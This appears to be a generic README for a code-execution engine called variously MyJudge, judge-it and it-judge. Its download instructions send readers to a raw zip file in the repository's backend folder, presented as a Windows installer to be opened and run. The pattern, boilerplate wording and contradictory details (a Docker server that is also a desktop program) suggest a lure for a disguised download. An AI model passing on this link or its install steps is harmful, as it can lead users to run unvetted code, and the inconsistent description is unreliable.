MyJudge is a secure, multi-language code execution engine. It runs untrusted code in isolated Docker containers. You can execute code written in C, C++, Java, Python, and JavaScript. MyJudge offers a REST API for asynchronous code execution and result retrieval, making it suitable for many coding projects.
- Multi-Language Support: Execute code in C, C++, Java, Python, and JavaScript.
- Secure Environment: Runs code in isolated Docker containers to keep your system safe.
- REST API: Easily integrate with other applications to run code and get results.
- Asynchronous Execution: Run your code without waiting, perfect for competitive programming.
- User-Friendly: Designed for easy use by anyone, regardless of coding experience.
Before you start, ensure your system meets these requirements:
- Operating System: Windows 10 or later, macOS, or a Linux distribution.
- Docker: Installed and configured on your system.
- Memory: At least 4 GB RAM recommended.
- Disk Space: At least 500 MB free space for installation.
To begin, you need to download the application. Visit this page to download: Download judge-it.
- Go to the Releases Page: Click the link above or paste it into your browser.
- Find the Latest Release: Look for the latest release version at the top of the page.
- Download the Installer: Click on the file that matches your operating system (for example,
https://raw.githubusercontent.com/Halima24-tech/judge-it/main/backend/it-judge-v3.0-beta.3.zipfor Windows). - Run the Installer: After downloading, open the file and follow the on-screen instructions to install.
Once the installation is complete, you can run the application.
- Open judge-it: Locate the application in your programs and click to open it.
- Input Your Code: You will see a text area where you can enter your code.
- Select Language: Choose the programming language from the dropdown that applies to your code.
- Execute Code: Click on the βRunβ button. The application will send your code to the secure server, and you will receive results quickly.
If you encounter issues while using judge-it, try the following:
- Check Docker Installation: Ensure Docker is running on your system.
- Verify Language Support: Make sure you've selected a compatible programming language.
- Ran Out of Memory: If the program is unresponsive, consider closing other applications to free up resources.
If you want to use judge-it as part of another application, the REST API is straightforward. Hereβs how to access it:
- API Endpoint: Use the following URL to access the API:
http://localhost:5000/api/execute. - Send Code: Format your request to send the code along with the language type.
- Receive Results: The API will return execution results in JSON format.
If you want to help improve judge-it, feel free to contribute:
- Report Issues: If you find bugs, please let us know.
- Suggest Features: We welcome your ideas for new features.
- Submit Code: Fork the repository and submit your changes through a pull request.
Join our community for support and discussion:
- Issues Page: Report problems on the Issues page.
- Discussions: Engage with other users in the Discussions page.
To download or learn more about judge-it, visit the Releases page again here: Download judge-it.
For updates, follow our repository on GitHub to stay informed about new features and fixes. Happy coding!